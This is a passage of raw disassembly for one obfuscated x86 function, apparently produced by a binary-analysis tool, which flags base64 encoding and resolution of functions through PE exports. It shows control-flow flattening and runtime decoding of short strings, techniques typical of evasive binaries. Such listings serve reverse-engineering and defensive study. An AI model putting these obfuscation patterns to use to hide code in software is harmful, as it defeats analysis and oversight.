Function at 0x40ebf0
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x778
mov esi, esp
mov ebx, dword [ebp + 8]
mov al, byte [esi + 0x1e8]
mov byte [esi + 0x1ec], al
mov byte [esi + 0x44c], 0x47
mov byte [esi + 0x44d], 0x39
mov eax, 2
mov byte [esi + eax + 0x44c], 0
add eax, 1
cmp eax, 5
jne 0x40ec23
xor eax, eax
cmp eax, 5
jae 0x40ec63
movzx edx, byte [esi + eax + 0x44c]
mov ecx, eax
add ecx, 0x5734a0b6
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
add cl, 0x72
mov byte [esi + eax + 0x44c], cl
add eax, 1
jmp 0x40ec35
sub esp, 8
lea eax, [esi + 0x44c]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00401960
add esp, 8
mov dword [esi + 0xb0], eax
push eax
mov edi, esp
push eax
mov ebx, esp
mov dword [edi], 0x26336a93
mov dword [ebx], edi
mov dword [esi], edi
mov eax, dword [edi]
mov ecx, eax
sub ecx, 0x80ec6d1a
je 0x4109cd
jmp 0x40eca3
mov ecx, eax
sub ecx, 0x81ea71c6
je 0x410f49
jmp 0x40ecb3
mov ecx, eax
sub ecx, 0x84064168
je 0x4114cd
jmp 0x40ecc3
mov ecx, eax
sub ecx, 0x8460eab4
je 0x411443
jmp 0x40ecd3
mov ecx, eax
sub ecx, 0x84cef51a
je 0x411e4e
jmp 0x40ece3
mov ecx, eax
sub ecx, 0x86513d60
je 0x411981
jmp 0x40ecf3
mov ecx, eax
sub ecx, 0x86976575
je 0x40ffef
jmp 0x40ed03
mov ecx, eax
sub ecx, 0x89256880
je 0x41261e
jmp 0x40ed13
mov ecx, eax
sub ecx, 0x8a0c0033
je 0x4106e7
jmp 0x40ed23
mov ecx, eax
sub ecx, 0x8a494ab2
je 0x411c00
jmp 0x40ed33
mov ecx, eax
sub ecx, 0x8aa900b6
je 0x41313d
jmp 0x40ed43
mov ecx, eax
sub ecx, 0x8c0c3348
je 0x41368d
jmp 0x40ed53
mov ecx, eax
sub ecx, 0x90a5fd33
je 0x413429
jmp 0x40ed63
mov ecx, eax
sub ecx, 0x9213a7b6
je 0x411af4
jmp 0x40ed73
mov ecx, eax
sub ecx, 0x9244a75e
je 0x40fb7e
jmp 0x40ed83
mov ecx, eax
sub ecx, 0x92712c56
je 0x413765
jmp 0x40ed93
mov ecx, eax
sub ecx, 0x953ce97a
je 0x4105ed
jmp 0x40eda3
mov ecx, eax
sub ecx, 0x974d0abe
je 0x412aec
jmp 0x40edb3
mov ecx, eax
sub ecx, 0x9970916b
je 0x4114c0
jmp 0x40edc3
mov ecx, eax
sub ecx, 0x99db0396
je 0x413445
jmp 0x40edd3
mov ecx, eax
sub ecx, 0x9e5bb9f3
je 0x4134b2
jmp 0x40ede3
mov ecx, eax
sub ecx, 0x9f1b67ba
je 0x413743
jmp 0x40edf3
mov ecx, eax
sub ecx, 0x9fc07a80
je 0x4116e4
jmp 0x40ee03
mov ecx, eax
sub ecx, 0xa02cfad1
je 0x411eb6
jmp 0x40ee13
mov ecx, eax
sub ecx, 0xa486b54b
je 0x4106ce
jmp 0x40ee23
mov ecx, eax
sub ecx, 0xa5aeee71
je 0x410890
jmp 0x40ee33
mov ecx, eax
sub ecx, 0xa631b377
je 0x41199a
jmp 0x40ee43
mov ecx, eax
sub ecx, 0xa9fa3e28
je 0x410a4a
jmp 0x40ee53
mov ecx, eax
sub ecx, 0xadd0f557
je 0x411bf1
jmp 0x40ee63
mov ecx, eax
sub ecx, 0xadf0d9c8
je 0x412e35
jmp 0x40ee73
mov ecx, eax
sub ecx, 0xaefe2d8d
je 0x412add
jmp 0x40ee83
mov ecx, eax
sub ecx, 0xb01a9d7e
je 0x411da7
jmp 0x40ee93
mov ecx, eax
sub ecx, 0xb069efaa
je 0x40f911
jmp 0x40eea3
mov ecx, eax
sub ecx, 0xb16f00ac
je 0x4109fd
jmp 0x40eeb3
mov ecx, eax
sub ecx, 0xb471fa44
je 0x411a67
jmp 0x40eec3
mov ecx, eax
sub ecx, 0xb59e21c7
je 0x4123fa
jmp 0x40eed3
mov ecx, eax
sub ecx, 0xb69926d9
je 0x4134ce
jmp 0x40eee3
mov ecx, eax
sub ecx, 0xb69d2b74
je 0x411dca
jmp 0x40eef3
mov ecx, eax
sub ecx, 0xb6de243d
je 0x4108b8
jmp 0x40ef03
mov ecx, eax
sub ecx, 0xb7397659
je 0x410ab0
jmp 0x40ef13
mov ecx, eax
sub ecx, 0xb7bc9abf
je 0x4133b1
jmp 0x40ef23
mov ecx, eax
sub ecx, 0xb7d77089
je 0x410a0c
jmp 0x40ef33
mov ecx, eax
sub ecx, 0xb8a54959
je 0x41378b
jmp 0x40ef43
mov ecx, eax
sub ecx, 0xbbd35047
je 0x412c49
jmp 0x40ef53
mov ecx, eax
sub ecx, 0xbc96bf13
je 0x41341a
jmp 0x40ef63
mov ecx, eax
sub ecx, 0xbd22a335
je 0x41061a
jmp 0x40ef73
mov ecx, eax
sub ecx, 0xbe41fca1
je 0x41236e
jmp 0x40ef83
mov ecx, eax
sub ecx, 0xbe88da28
je 0x413755
jmp 0x40ef93
mov ecx, eax
sub ecx, 0xc108f28c
je 0x412a90
jmp 0x40efa3
mov ecx, eax
sub ecx, 0xc1e5e88d
je 0x411e1a
jmp 0x40efb3
mov ecx, eax
sub ecx, 0xc6d7a7d4
je 0x40fd06
jmp 0x40efc3
mov ecx, eax
sub ecx, 0xc9b9adff
je 0x411df7
jmp 0x40efd3
mov ecx, eax
sub ecx, 0xcacc4288
je 0x411e9c
jmp 0x40efe3
mov ecx, eax
sub ecx, 0xcaf0e1a1
je 0x410629
jmp 0x40eff3
mov ecx, eax
sub ecx, 0xcb903e00
je 0x412ba9
jmp 0x40f003
mov ecx, eax
sub ecx, 0xcda52fed
je 0x411de8
jmp 0x40f013
mov ecx, eax
sub ecx, 0xcf447015
je 0x411c4b
jmp 0x40f023
mov ecx, eax
sub ecx, 0xd108139a
je 0x40fbf2
jmp 0x40f033
mov ecx, eax
sub ecx, 0xd3aa4dd8
je 0x412bf9
jmp 0x40f043
mov ecx, eax
sub ecx, 0xd3df9ae6
je 0x41221d
jmp 0x40f053
mov ecx, eax
sub ecx, 0xd6113280
je 0x411e6a
jmp 0x40f063
mov ecx, eax
sub ecx, 0xd6c5cd2a
je 0x40fa65
jmp 0x40f073
mov ecx, eax
sub ecx, 0xd7a1a45a
je 0x413060
jmp 0x40f083
mov ecx, eax
sub ecx, 0xd955c1cd
je 0x411450
mov eax, dword [esi + 0xb4]
mov ecx, dword [esi + 0xb0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401b80
add esp, 8
mov dword [esi + 4], eax
mov al, byte [esi + 0x1e4]
mov byte [esi + 0x1f0], al
mov byte [esi + 0x60], 0x60
mov byte [esi + 0x61], 0xfb
mov eax, 2
mov byte [esi + eax + 0x60], 0
add eax, 1
cmp eax, 4
jne 0x40f94b
xor edx, edx
cmp edx, 4
jae 0x40fa01
movzx ecx, byte [esi + edx + 0x60]
mov dword [esi + 0x494], ecx
mov edi, edx
mov dword [esi + 0x498], edx
add edi, 0x168c872b
mov eax, edi
xor eax, ecx
mov ecx, eax
shl ecx, 1
xor ecx, 0xffffffff
add eax, ecx
and edi, eax
mov eax, edi
and eax, 0xfffffffd
mov ecx, edi
and ecx, 2
xor ecx, 2
imul ecx, eax
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
add edi, ecx
mov ecx, edx
sub ecx, edi
add ecx, 0x168c872b
add ecx, dword [esi + 0x494]
add ecx, 0x8f415c28
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
or edx, 1
and edx, eax
mov eax, edx
and eax, 2
xor eax, 2
mov edi, edx
and edi, 0xfd
imul edi, eax
mov eax, edx
and eax, 2
or edx, 2
imul edx, eax
add edx, edi
xor ecx, 1
add ecx, edx
mov edx, dword [esi + 0x498]
mov byte [esi + edx + 0x60], cl
add edx, 1
jmp 0x40f95a
mov eax, dword [esi + 4]
lea ecx, [esi + 0x60]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401b10
add esp, 0xc
cmp eax, 0
setne al
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 1
or cl, 0
xor cl, 0xff
mov eax, 0xf442e8ac
test cl, 1
jne 0x40fa4b
mov eax, 0xd6c5cd2a
mov ecx, dword [ebx]
mov dword [ecx], eax
mov edi, dword [esi]
jmp 0x4137ad
mov al, byte [esi + 0x1e0]
mov byte [esi + 0x1f4], al
mov byte [esi + 0x5c], 0xa8
mov byte [esi + 0x5d], 0x27
mov eax, 2
mov byte [esi + eax + 0x5c], 0
add eax, 1
cmp eax, 4
jne 0x40fa7e
xor eax, eax
cmp eax, 4
jae 0x40fb51
movzx ecx, byte [esi + eax + 0x5c]
mov dword [esi + 0x30c], ecx
mov edx, eax
add edx, 0x939e7009
mov ecx, eax
mov dword [esi + 0x31c], eax
shl ecx, 1
add ecx, 0x273ce013
mov edi, edx
sub edi, ecx
mov ecx, 0x6c618ff6
sub ecx, eax
and ecx, edi
mov eax, ecx
mov edi, dword [esi + 0x30c]
or eax, edi
xor ecx, edi
add ecx, edi
mov edi, ecx
sub edi, eax
sub ecx, eax
or edi, ecx
mov ecx, 0x6c618ff6
sub ecx, dword [esi + 0x31c]
and ecx, 0xbc5c240d
and edx, 0x43a3dbf2
or ecx, edx
xor ecx, 0x43a3dbf2
mov edx, dword [esi + 0x30c]
mov eax, edx
shl eax, 1
xor eax, 0xffffffff
add eax, edx
and ecx, eax
mov eax, ecx
shl eax, 1
xor eax, 0xffffffff
add ecx, eax
mov eax, edi
shl eax, 1
xor eax, 0xffffffff
add edi, eax
and ecx, edi
mov edx, ecx
shl edx, 1
and edx, 0xa4
mov eax, ecx
xor eax, 0xd2
add eax, edx
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
mov ecx, dword [esi + 0x31c]
mov byte [esi + ecx + 0x5c], al
add ecx, 1
mov eax, ecx
jmp 0x40fa8d
mov eax, dword [esi + 4]
sub esp, 8
lea ecx, [esi + 0x5c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.004018f0
add esp, 8
fstp qword [esi + 0x548]
mov eax, dword [ebx]
mov dword [eax], 0x9244a75e
mov edi, dword [esi]
jmp 0x4137ad
fld qword [esi + 0x548]
fnstcw word [esi + 0x6e]
movzx eax, word [esi + 0x6e]
or eax, 0xc00
mov word [esi + 0x2be], ax
fldcw word [esi + 0x2be]
fistp dword [esi + 0x4c8]
fldcw word [esi + 0x6e]
mov eax, dword [esi + 0x4c8]
mov dword [esi + 0x44], eax
mov eax, dword [ebx]
mov dword [eax], 0x5142134f
jmp 0x4137ad
mov eax, 0xfb8cfc3c
cmp dword [esi + 0x44], 3
je 0x40fc02
mov eax, 0x7aa2cdd
mov ecx, dword [ebx]
mov dword [ecx], eax
mov edi, dword [esi]
jmp 0x4137ad
mov al, byte [esi + 0x1d0]
mov byte [esi + 0x1fc], al
mov byte [esi + 0x1d4], 0x3d
mov byte [esi + 0x1d5], 0x39
mov byte [esi + 0x1d6], 0x3e
mov byte [esi + 0x1d7], 0x3f
mov eax, 4
mov byte [esi + eax + 0x1d4], 0
add eax, 1
cmp eax, 8
jne 0x40fd33
xor eax, eax
cmp eax, 8
jae 0x40fdd6
mov ecx, eax
mov dword [esi + 0x314], ecx
movzx eax, byte [esi + ecx + 0x1d4]
mov dword [esi + 0x488], eax
mov eax, ecx
add eax, 0xc216614a
mov edx, eax
shl edx, 1
sub edx, ecx
mov ecx, 0x49
sub ecx, edx
mov edi, 0x49
sub edi, edx
and ecx, edi
xor ecx, 0xffffffff
mov edi, dword [esi + 0x488]
and ecx, edi
mov edx, dword [esi + 0x314]
shl edx, 1
add edx, 0x842cc295
sub eax, edx
xor edi, 0xffffffff
and eax, edi
or ecx, eax
mov edi, 0x3590198c
sub edi, ecx
mov edx, edi
shl edx, 1
and edx, 2
and ecx, 1
and edi, 0xfe
or ecx, edi
xor ecx, 1
add ecx, edx
mov eax, dword [esi + 0x314]
mov byte [esi + eax + 0x1d4], cl
add eax, 1
jmp 0x40fd45
mov eax, dword [esi + 0x1d4]
mov dword [esi + 0x4a8], eax
mov al, byte [esi + 0x1cc]
mov byte [esi + 0x200], al
mov byte [esi + 0x58], 0x9d
mov byte [esi + 0x59], 9
mov eax, 2
mov byte [esi + eax + 0x58], 0
add eax, 1
cmp eax, 4
jne 0x40fdfb
xor edi, edi
cmp edi, 4
jae 0x40fe63
movzx eax, byte [esi + edi + 0x58]
mov ecx, edi
add ecx, 0x6dd397fe
mov edx, 0x122c6801
sub edx, edi
and edx, 0x399adfbd
and ecx, 0xc6652042
or edx, ecx
xor edx, eax
mov eax, edx
xor eax, 0xbd
mov ecx, edx
and ecx, 0xf6
and edx, 0xf6
xor edx, 0xbd
xor ecx, 0xb4
sub eax, ecx
add eax, edx
add al, 1
mov byte [esi + edi + 0x58], al
add edi, 1
jmp 0x40fe0a
mov eax, dword [esi + 4]
lea ecx, [esi + 0x58]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov eax, dword [esi + 0x4a8]
mov dword [esp + 8], eax
call fcn.00401b10
add esp, 0xc
mov ecx, 0x5cf763cc
cmp eax, 0
jne 0x40fe94
mov ecx, 0x3aa77a0
mov eax, dword [ebx]
mov dword [eax], ecx
mov edi, dword [esi]
jmp 0x4137ad
mov al, byte [esi + 0x1c0]
mov byte [esi + 0x20c], al
mov byte [esi + 0x2f8], 0xfa
mov byte [esi + 0x2f9], 0xea
mov byte [esi + 0x2fa], 0x66
mov eax, 3
mov byte [esi + eax + 0x2f8], 0
add eax, 1
cmp eax, 7
jne 0x410015
xor eax, eax
cmp eax, 7
jae 0x410061
mov dl, byte [esi + eax + 0x2f8]
mov edi, eax
add edi, 0x99
mov ecx, 0x66
sub ecx, eax
and ecx, 0x4e
and edi, 0xb1
or ecx, edi
xor cl, dl
xor cl, 0x4e
add cl, 3
mov byte [esi + eax + 0x2f8], cl
add eax, 1
jmp 0x410027
mov eax, dword [esi + 4]
sub esp, 0xc
lea ecx, [esi + 0x2f8]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00401b10
add esp, 0xc
sub eax, 1
mov cl, 1
sbb cl, 0xff
mov eax, 0x7aa2cdd
test cl, 1
mov edi, dword [esi]
jne 0x41009d
mov eax, 0x7dd33236
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [esi + 0xc]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0x75f13520
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xb7397659
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x229a9352
mov edi, dword [esi]
jmp 0x4137ad
mov eax, 0x6dc0f289
test byte [esi + 0x1b], 1
jne 0x4106de
mov eax, 0x8a0c0033
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x741ef0d8
jmp 0x4137ad
mov eax, 0x7c890dd
test byte [esi + 0x1c], 1
jne 0x4108a0
mov eax, 0xb6de243d
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [esi + 0xc4]
sub esp, 4
mov dword [esp], eax
call fcn.004183b0
add esp, 4
mov edi, eax
sub edi, 0xffffffff
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4108e9
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004084d0
add esp, 4
mov dword [esi + 0xc8], eax
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xc4]
xor edx, edx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call fcn.0040ad60
add esp, 0x10
mov ecx, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x46c], eax
mov edx, dword [esi + 0xbc]
mov al, byte [esi + 0x1a]
mov byte [esi + 0x13], al
mov edi, dword [esi + 0x4e4]
mov eax, dword [esi + 0x4e0]
sub esp, 0x1c
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov eax, dword [esi + 0x46c]
mov dword [esp + 4], eax
lea eax, [esi + 0x6e8]
mov dword [esp], eax
movzx eax, byte [esi + 0x13]
and eax, 1
mov dword [esp + 0x18], eax
call fcn.00422ca0
add esp, 0x1c
mov eax, dword [ebx]
mov dword [eax], 0x5a754aa3
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x7c]
xor ecx, ecx
sub ecx, eax
add ecx, 0xffffffff
xor eax, eax
sub eax, ecx
mov dword [esi + 0x4ec], eax
mov eax, dword [ebx]
mov dword [eax], 0xd9d4559d
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xb7d77089
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x6888d8b2
mov eax, dword [esi + 0x4ec]
mov dword [esi + 0x330], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x2a8cedd7
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x7aa2cdd
mov edi, dword [esi]
jmp 0x4137ad
mov eax, 0x370a1f7a
test byte [esi + 0x1d], 1
jne 0x410f59
mov eax, 0x3a8040fb
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xd955c1cd
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x84064168
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xcacc4288
jmp 0x4137ad
mov eax, dword [esi + 0x500]
mov dword [esi + 0x4bc], eax
mov eax, dword [esi + 0x4fc]
mov dword [esi + 0x4b8], eax
mov eax, dword [esi + 0x84]
mov dword [esi + 0x4b0], eax
mov al, byte [esi + 0x26c]
mov byte [esi + 0x2b0], al
mov byte [esi + 0x270], 0xd
mov byte [esi + 0x271], 0xe
mov byte [esi + 0x272], 0xf
mov byte [esi + 0x273], 0xf0
mov eax, 4
mov byte [esi + eax + 0x270], 0
add eax, 1
cmp eax, 8
jne 0x411735
xor eax, eax
cmp eax, 8
jae 0x411775
movzx edx, byte [esi + eax + 0x270]
mov ecx, eax
add ecx, 0xab2aaf7d
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
add cl, 0x8f
mov byte [esi + eax + 0x270], cl
add eax, 1
jmp 0x411747
mov edx, dword [esi + 0x270]
xor edi, edi
mov ecx, 2
cmp edi, dword [0x44e1c8]
jb 0x41178f
jmp 0x411837
mov dword [esi + 0xa8], edx
mov eax, dword [0x44e1cc]
cmp dword [eax + edi*8], 0xfc36c0a1
sete dl
xor ecx, ecx
mov byte [esi + 0x16], dl
test dl, 1
jne 0x4117b0
jmp 0x41181b
mov edx, dword [eax + edi*8 + 4]
mov ecx, 2
cmp edx, dword [esi + 0xa8]
je 0x41181b
mov eax, dword [0x44e1d0]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 8], 0x14
mov eax, dword [esi + 0x4bc]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x2b
mov eax, dword [esi + 0x4b0]
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x4b8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.0043e5b0
add esp, 0x20
mov dword [esi + 0x4a0], eax
mov ecx, 1
test byte [esi + 0x16], 1
je 0x411829
mov edx, dword [esi + 0xa8]
jmp 0x411837
add edi, 1
mov edx, dword [esi + 0xa8]
jmp 0x41177d
cmp ecx, 2
mov edi, dword [esi]
je 0x411844
mov edx, dword [esi + 0x4a0]
mov eax, 0x172b1e4a
cmp edx, 0
jge 0x411853
mov eax, 0xd6113280
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x51225c7b
mov eax, dword [esi + 0x8c]
mov dword [esi + 0x338], eax
jmp 0x4137ad
mov eax, dword [esi + 0x8c]
add eax, 0xfffffffe
mov dword [esi + 0x504], eax
mov eax, dword [ebx]
mov dword [eax], 0x3804b2b
mov eax, dword [esi + 0x504]
mov dword [esi + 0x334], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xcc]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xf5e3d1e7
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x90]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xf078697e
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xb01a9d7e
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0x37c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401b50
add esp, 4
mov dword [esp], eax
call fcn.004018d0
add esp, 4
mov dword [esi + 0xdc], eax
mov eax, 0xcf447015
cmp dword [esi + 0xdc], 0
je 0x411c42
mov eax, 0x1b3ca52b
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xedc4d32c
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xd4]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xb69d2b74
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x25ca1498
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xc9b9adff
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xd0]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xc1e5e88d
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xe2ef51ca
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xfd73c3f9
jmp 0x4137ad
mov eax, dword [esi + 0x84]
sub esp, 4
mov dword [esp], eax
call fcn.0043b990
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0x315fd4a3
mov edi, dword [esi]
jmp 0x4137ad
lea ecx, [esi + 0x538]
call fcn.00418500
mov eax, dword [ebx]
mov dword [eax], 0x7aa2cdd
mov edi, dword [esi]
jmp 0x4137ad
mov al, byte [esi + 0x160]
mov byte [esi + 0x278], al
mov byte [esi + 0x3cc], 0x94
mov byte [esi + 0x3cd], 0x27
mov eax, 2
mov byte [esi + eax + 0x3cc], 0
add eax, 1
cmp eax, 5
jne 0x411ed5
xor eax, eax
cmp eax, 5
jae 0x411f4b
movzx ecx, byte [esi + eax + 0x3cc]
mov dword [esi + 0x304], ecx
mov edx, eax
shl edx, 1
and edx, 0x3deb8612
mov ecx, eax
xor ecx, 0x1ef5c309
add ecx, edx
mov edi, ecx
xor edi, 0xffffffff
or edi, dword [esi + 0x304]
mov edx, ecx
or edx, dword [esi + 0x304]
add ecx, edi
mov edi, 0xfe
sub edi, ecx
and edx, edi
add dl, 0xd3
mov byte [esi + eax + 0x3cc], dl
add eax, 0xd03990c4
mov ecx, eax
shl ecx, 1
and ecx, 0x1a
xor eax, 0x2fc66f3d
add eax, ecx
jmp 0x411ee7
mov eax, dword [esi + 4]
lea ecx, [esi + 0x3cc]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401890
add esp, 8
mov dword [esi + 0xe4], eax
mov al, byte [esi + 0x15c]
mov byte [esi + 0x27c], al
mov byte [esi + 0x3c4], 0x1e
mov byte [esi + 0x3c5], 0x99
mov eax, 2
mov byte [esi + eax + 0x3c4], 0
add eax, 1
cmp eax, 8
jne 0x411f8b
xor eax, eax
cmp eax, 8
jae 0x411ff1
movzx edi, byte [esi + eax + 0x3c4]
mov dword [esi + 0x478], edi
mov edx, eax
add edx, 0x26
mov ecx, eax
add ecx, 0xa6
and ecx, edi
mov edi, 0x59
sub edi, eax
and edi, 0xa0
and edx, 0x5f
or edi, edx
xor edi, 0x5f
mov edx, dword [esi + 0x478]
xor edx, 0xffffffff
and edi, edx
or ecx, edi
mov dl, 0xc1
sub dl, cl
mov byte [esi + eax + 0x3c4], dl
add eax, 1
jmp 0x411f9d
mov eax, dword [esi + 4]
sub esp, 8
lea ecx, [esi + 0x3c4]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00401890
add esp, 8
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0xe4]
test eax, eax
sete cl
mov eax, dword [esi + 0xe8]
test eax, eax
sete al
or cl, al
mov eax, 0xfc3ad87b
test cl, 1
mov edi, dword [esi]
jne 0x41203b
mov eax, 0x4829754e
mov ecx, dword [ebx]
mov dword [ecx], eax
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x3ef8df94
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xf4]
sub esp, 4
mov dword [esp], eax
call fcn.004183b0
add esp, 4
mov edi, eax
sub edi, 0xffffffff
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41239f
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004084d0
add esp, 4
mov dword [esi + 0x390], eax
mov eax, dword [esi + 0x390]
mov ecx, dword [esi + 0xf4]
xor edx, edx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call fcn.0040ad60
add esp, 0x10
mov eax, dword [ebx]
mov dword [eax], 0xb59e21c7
mov eax, dword [esi + 0x390]
mov dword [esi + 0x344], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x344]
mov dword [esi + 0xf8], eax
mov al, byte [esi + 0x150]
mov byte [esi + 0x288], al
mov byte [esi + 0x38], 0x17
mov byte [esi + 0x39], 0x63
mov byte [esi + 0x3a], 0xfa
mov eax, 3
mov byte [esi + eax + 0x38], 0
add eax, 1
cmp eax, 4
jne 0x412423
xor eax, eax
cmp eax, 4
jae 0x4124a8
mov cl, byte [esi + eax + 0x38]
mov byte [esi + 0x18], cl
movzx ecx, cl
mov edi, eax
add edi, 0x3ff46b2b
mov dword [esi + 0x490], edi
xor edi, ecx
xor edi, 0xffffffff
mov ecx, eax
add ecx, 0x3ff46b2c
mov edx, 0xc00b94d4
sub edx, eax
or edx, edi
add edx, ecx
mov edi, edx
and edi, 0xfffffffd
mov ecx, edx
and ecx, 2
xor ecx, 2
imul ecx, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
add edx, ecx
mov ecx, edx
xor ecx, dword [esi + 0x490]
mov edi, 0x54
sub edi, eax
and edx, edi
shl edx, 1
sub ecx, edx
add cl, byte [esi + 0x18]
add cl, 0x29
mov byte [esi + eax + 0x38], cl
add eax, 1
jmp 0x412432
lea eax, [esi + 0x38]
sub esp, 8
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401960
add esp, 8
mov dword [esi + 0xfc], eax
mov eax, 0x7d5ed94a
cmp dword [esi + 0xfc], 0
jne 0x4124d9
mov eax, 0xf9481971
mov ecx, dword [ebx]
mov dword [ecx], eax
mov dword [esi + 0x354], 0
mov dword [esi + 0x350], 0
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0xf9481971
mov eax, dword [esi + 0x98]
mov ecx, dword [esi + 0x20]
mov dword [esi + 0x354], eax
mov dword [esi + 0x350], ecx
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x55b80763
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x974d0abe
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x39c]
cmp dword [esi + 0x24], eax
sete al
and al, 1
mov byte [esi + 0x1e], al
mov eax, dword [ebx]
mov dword [eax], 0x597d3bb3
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x63a8d1d3
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x94]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xe4d41fe7
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xf0]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xe3d12b
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x104]
sub esp, 4
mov dword [esp], eax
call fcn.004183b0
add esp, 4
mov edi, eax
add edi, 1
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x412e66
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004084d0
add esp, 4
mov dword [esi + 0x10c], eax
mov eax, dword [esi + 0x10c]
